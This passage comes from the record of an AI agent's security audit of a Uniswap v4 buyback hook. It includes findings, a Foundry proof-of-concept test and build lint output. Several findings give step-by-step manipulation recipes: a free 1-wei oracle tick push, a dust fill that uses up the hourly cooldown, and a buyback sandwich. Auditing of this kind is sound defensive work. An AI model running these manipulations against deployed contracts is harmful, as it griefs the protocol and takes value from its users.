moving the tick costs money; at a zero-liquidity boundary it is free. The same push in the other direction (spot at the upper edge) raises the reference and feeds finding 1. Minimal fix: in _observe() only adopt the new tick when poolManager.getLiquidity(poolId) != 0 (else keep the previous tick), or clamp the observed tick to the range in which the swap actually filled; the batch's own observation at line 242 needs the same guard.","line":248,"path":"src/NUKEHook.sol","reproduction":"Fresh PoolManager; NUKE/IMD pool initialised at sqrtPrice 2^96; NUKE-only position of 1_000_000e18 liquidity in [0, 12000] when NUKE is currency0 (in [-12000, 0] when NUKE is currency1); the pool holds zero IMD; 1000e18 IMD transferred to the hook (pending() = 1000e18). t = start+100: an attacker holding no NUKE, no IMD and no allowance swaps SwapParams(zeroForOne = tokenIs0, amountSpecified = -1, sqrtPriceLimitX96 = tokenIs0 ? MIN_SQRT_PRICE+1 : MAX_SQRT_PRICE-1). Actual: BalanceDelta == 0, pendingBurn() == 0, slot0.tick == -887272 (or 887271). t = start+112: an unrelated buyer swaps 100e18 IMD for NUKE; tick returns to about +6 (spot sqrtPrice 79235986295312621196881312801). t = start+3600: referencePrice() == 68339587790462309910373190710 (0.8625*2^96), batchPriceLimit() == 69357106608850216497349770849 < spot; executeBatch() returns (0, 0), pending() stays 1000e18, lastBatch() stays start. Expected (control run without the 1-wei swap, which passes): executeBatch() returns spent = 250e18, bought > 0. Run: forge test --match-path test/scratch/OracleZeroLiquidity.t.sol -vv -> test_freeZeroLiquidityTickPushBlocksBuyback FAILS in both OracleZeroLiquidityTest and OracleZeroLiquidityReverseTest with 'buyback blocked by a free zero-liquidity tick push: 0 <= 0'; test_control_batchRunsWithoutManipulation passes.","severity":"medium","snippet":"        (, next.tick,,) = poolManager.getSlot0(poolId);","title":"Hourly tick oracle credits time spent at ticks reached through zero-liquidity regions, so one free 1-wei swap per hour blocks every buyback on the launch-shaped pool"},{"citation":"resolved","description":"Merged from audit_economics and audit_flow. executeBatch() returns (0, 0) without touching lastBatch when spot is already at or beyond the limit (line 206), but when spot is even one sqrt-price unit short of the limit the swap proceeds, fills 2 wei, and lastBatch is set to block.timestamp regardless of how much filled. Whoever sets spot in the same block controls the fill, and executeBatch() is permissionless and only requires the manager to be locked, so a griefer can do it atomically: swap exact-input with sqrtPriceLimitX96 = batchPriceLimit() -/+ 1 to park spot exactly inside the limit, call executeBatch(), then sell back. The buyback is pushed out by a full hour each time while the IMD stays accrued; the griefer pays the round-trip LP and hook fees (about 662e18 IMD per hour at the test liquidity, 4.4% of the ~15_000e18 moved), 1% of the sell leg even lands in pending(). Costed griefing rather than theft, hence low, but it defeats the documented 'at most once an hour, 25% of pending' cadence for as long as someone pays. The README's 'a swap through empty liquidity can also return zero; it completes normally and consumes that batch interval' is the same class. Spec-preserving fix: only record lastBatch when the fill reaches some floor (e.g. spent >= budget / 100 or bought > 0), or compare spot against the limit with a tick of margin before committing the cooldown.","line":207,"path":"src/NUKEHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {NUKE} from \"src/NUKE.sol\";\nimport {NUKEHook} from \"src/NUKEHook.sol\";\n\ncontract PairStandIn is ERC20 {\n    constructor() ERC20(\"Pair\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract Router is IUnlockCallback {\n    IPoolManager public immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(true, msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(false, msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (bool isSwap, address payer, PoolKey memory key, bytes memory params) =\n            abi.decode(data, (bool, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (isSwap) delta = manager.swap(key, abi.decode(params, (SwapParams)), \"\");\n        else (delta,) = manager.modifyLiquidity(key, abi.decode(params, (ModifyLiquidityParams)), \"\");\n        _settle(key.currency0, payer, delta.amount0());\n        _settle(key.currency1, payer, delta.amount1());\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, address payer, int128 d) private {\n        if (d < 0) {\n            manager.sync(c);\n            require(IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(d))));\n            manager.settle();\n        } else if (d > 0) {\n            manager.take(c, payer, uint128(d));\n        }\n    }\n}\n\n/// @notice executeBatch() returns (0,0) without touching lastBatch when spot is already at or past the\n/// limit, but one sqrt-price unit short of it the swap runs, fills 2 wei, and the full 3600 s\n/// cooldown is consumed. Anyone can park spot there with a price-limited swap first.\ncontract DustFillProofTest is Test {\n    using StateLibrary for IPoolManager;\n\n    address internal constant IMD = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 internal constant Q96 = 1 << 96;\n\n    IPoolManager manager;\n    NUKE nuke;\n    NUKEHook hook;\n    Router router;\n    PoolKey key;\n    uint256 start;\n\n    function _tokenAbove() internal pure virtual returns (bool) {\n        return false;\n    }\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        vm.etch(IMD, address(new PairStandIn()).code);\n        PairStandIn(IMD).mint(address(this), 1_000_000_000 ether);\n        do {\n            nuke = new NUKE();\n        } while ((address(nuke) > IMD) != _tokenAbove());\n        hook = _deployHook(address(nuke));\n        router = new Router(manager);\n        nuke.approve(address(router), type(uint256).max);\n        IERC20(IMD).approve(address(router), type(uint256).max);\n        key = hook.poolKey();\n        start = block.timestamp;\n        manager.initialize(key, Q96);\n        router.liquidity(key, ModifyLiquidityParams(-12000, 12000, int256(1_000_000 ether), bytes32(0)));\n        IERC20(IMD).transfer(address(hook), 400_000 ether);\n    }\n\n    function _deployHook(address t) internal returns (NUKEHook) {\n        bytes memory init = abi.encodePacked(type(NUKEHook).creationCode, abi.encode(manager, t));\n        bytes32 hash = keccak256(init);\n        for (uint256 i; i < 500_000; ++i) {\n            bytes32 salt = bytes32(i);\n            address predicted =\n                address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, hash)))));\n            if (uint160(predicted) & 0x3fff != 0x20c4 || predicted.code.length != 0) continue;\n            address deployed;\n            assembly (\"memory-safe\") {\n                deployed := create2(0, add(init, 32), mload(init), salt)\n            }\n            require(deployed == predicted, \"CREATE2 failed\");\n            return NUKEHook(deployed);\n        }\n        revert(\"salt search exhausted\");\n    }\n\n    function test_dustFillMustNotConsumeTheHourlySlot() public {\n        vm.warp(start + 3600);\n        uint160 limit = hook.batchPriceLimit();\n        bool zeroForOne = !hook.tokenIs0(); // buy NUKE with IMD\n        uint160 park = hook.tokenIs0() ? limit - 1 : limit + 1;\n        router.swap(key, SwapParams(zeroForOne, -int256(1_000_000 ether), park));\n        (uint160 spot,,,) = manager.getSlot0(key.toId());\n        assertEq(spot, park, \"spot parked one unit inside the limit\");\n\n        uint256 budget = hook.pending() / 4;\n        (uint256 spent, uint256 burned) = hook.executeBatch();\n        emit log_named_uint(\"budget\", budget);\n        emit log_named_uint(\"spent\", spent);\n        emit log_named_uint(\"burned\", burned);\n        assertLt(spent, budget / 1000, \"the fill is dust\");\n\n        // Expected: a batch that bought (almost) nothing leaves the hourly slot available, exactly as\n        // the (0,0) branch one sqrt-price unit earlier does. Actual: lastBatch == now, BatchTooSoon.\n        assertEq(hook.lastBatch(), start, \"a dust fill consumed the 3600 s cooldown\");\n    }\n}\n\ncontract DustFillProofReverseTest is DustFillProofTest {\n    function _tokenAbove() internal pure override returns (bool) {\n        return true;\n    }\n}","reproduction":"Local PoolManager, pool initialised at 2^96 with 1_000_000e18 liquidity in [-12000, 12000] (either ordering); transfer 400_000e18 IMD to the hook (budget 100_000e18); vm.warp(start + 3600); limit = hook.batchPriceLimit(). (1) Attacker swaps exact-input 1_000_000e18 IMD for NUKE with sqrtPriceLimitX96 = limit - 1 (NUKE currency0) or limit + 1 (NUKE currency1): the swap stops at that price (spot == limit -/+ 1), moving about 14_524e18 NUKE. (2) Attacker calls executeBatch(). Actual: returns (spent = 2, burned = 0), lastBatch() == block.timestamp, and executeBatch() reverts BatchTooSoon until start + 7200. (3) Attacker sells the NUKE back, ending flat in NUKE and down 662.44e18 IMD in fees. Expected: a batch that spent 2 wei of a 100_000e18 budget and burned nothing should leave the hourly slot available, as the (0, 0) branch one unit earlier does. Run: forge test --match-path test/scratch/DustFillProof.t.sol -vv -> FAIL 'a dust fill consumed the 3600 s cooldown: 3601 != 1' in both orderings.","severity":"low","snippet":"        lastBatch = block.timestamp;","title":"A fill of a few wei one sqrt-price unit inside the limit consumes the full 3600 s cooldown, so a front-runner can defer every buyback by an hour"},{"citation":"resolved","description":"From audit_math. fee = |filled| * 100 / 10_000 truncates, so any swap whose unspecified-side fill is below 100 wei pays 0 and every other swap under-pays by less than 1 wei. Bounded at 1 wei per swap and not farmable (splitting a trade into sub-100-wei pieces costs far more gas than the fee avoided and the LP fee still applies), documented in the README as floor(abs(delta)/100) and asserted by test_dustFeeRoundsDown. No action required unless the author wants the fee to round against the swapper ((|filled| * FEE_BPS + 9_999) / 10_000 still fits int128).","line":149,"path":"src/NUKEHook.sol","reproduction":"Exact-input buy of 50 wei IMD -> NUKE on the local pool (existing test test_dustFeeRoundsDown): raw unspecified delta is 48 wei NUKE, fee = 48*100/10000 = 0, pendingBurn() stays 0. Likewise filled = 99 -> fee 0; filled = 199 -> fee 1 (0.503%).","severity":"info","snippet":"        uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;","title":"Hook fee rounds down: fills of 1 to 99 wei on the unspecified side pay no hook fee"}],"hash":"f83cf85e569f2a0891e25a573b090fd80ef6f5148cb3e580038a05b3ae00b225","nodeId":"2ad1832d-16cb-48ae-b5ec-1ece0458bc02","outcome":"completed","summary":"The review is complete. The findings file is written at `.imd-findings.json`, and no tracked file was changed (the findings file and `test/scratch/` are ignored by git).\n\n**Outcome.** The seven specialist findings reduce to three reproducible defects plus one informational note. All were reproduced against the code in both currency orderings, and the three defects carry proof tests that fail on the current code. My own pass over the hook found nothing the specialists missed: callback access control, pool binding, permission bits, delta netting, claim settlement, cooldown and lock guards, and the manifest all hold.\n\n**Findings kept**\n\n1. **Medium, stale reference lets anyone sandwich the buyback.** Merged from economics, permissions and flow. The limit is 3% beyond the previous completed hour's mean tick, which never looks at current spot. After a 60k NUKE sell drops spot to 0.89, an attacker buys, calls `executeBatch`, and sells back for a profit of 1,132 IMD after all fees. The verified control with a fresh reference loses 1,309 IMD. The specialist proof fails here as stated and is attached.\n2. **Medium, free zero-liquidity tick push blocks every buyback.** From math. On the launch-shaped NUKE-only pool, a 1-wei exact-input sell with the extreme price limit fills nothing, needs no tokens, and parks the tick at MIN_TICK. One 12-second block per hour drags the mean to -2958, so the limit sits below spot and the batch no-ops all hour. My proof fails in both orderings, with the control passing.\n3. **Low, a 2-wei fill consumes the hourly cooldown.** Merged from economics and flow. Parking spot one sqrt-price unit inside the limit makes the batch spend 2 wei and set `lastBatch`, costing the griefer about 662 IMD per hour. My proof fails in both orderings.\n4. **Info, fee rounds down below 100 wei.** Documented behaviour, bounded at 1 wei per swap, kept for completeness without a proof.\n\n**Dropped or downgraded.** Nothing was dropped; the four specialists' reports had the same two root causes for five of their findings. Static-analysis leads (weak PRNG, divide-before-multiply, strict equality, reentrancy, unsafe cast) were traced and are false positives on this code.\n\n**Coverage.** All 8 listed entry points are answered, plus 4 invariant and manifest rows. `executeBatch()` is the only entry point marked as a finding. Fork tests against live mainnet state remain owed since this environment has no network; the suite skips them cleanly.","treeHash":null,"usage":{"cachedInputTokens":1502324,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":39705,"runtime":"claude","turns":31,"wallClockMs":981907}}],"verification":[{"checks":[{"durationMs":60128,"exitCode":0,"name":"build","output":"Compiling 83 files with Solc 0.8.26\nSolc 0.8.26 finished in 59.98s\nCompiler run successful!\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:121:9\n    │\n121 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:119:25\n    │\n119 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:119:50\n    │\n119 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:42\n    │\n133 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:87\n    │\n133 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:134:25\n    │\n134 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:154:13\n    │\n154 │             emit FeeAccrued(currency, fee);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:150:23\n    │\n150 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:156:44\n    │\n156 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:156:51\n    │\n156 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:190:16\n    │\n190 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:196:29\n    │\n196 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:198:9\n    │\n198 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `lastBatch` is updated\n    ╭▸ src/NUKEHook.sol:215:13\n    │\n215 │         try poolManager.unlock(abi.encode(budget, limit)) returns (bytes memory result) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:205:13\n    │\n205 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:228:9\n    │\n228 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:22\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:30\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:67\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:75\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:220:39\n    │\n220 │             if (reason.length != 4 || bytes4(reason) != EmptyBatch.selector) {\n    │                                       ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:245:81\n    │\n245 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:246:25\n    │\n246 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:247:26\n    │\n247 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:256:13\n    │\n256 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:285:43\n    │\n285 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:277:13\n    │\n277 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:286:17\n    │\n286 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:278:27\n    │\n278 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:278:50\n    │\n278 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:280:69\n    │\n280 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:281:38\n    │\n281 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:283:44\n    │\n283 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:284:26\n    │\n284 │             o.meanTick = int24(mean);\n    │                          ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:287:28\n    │\n287 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:288:26\n    │\n288 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: 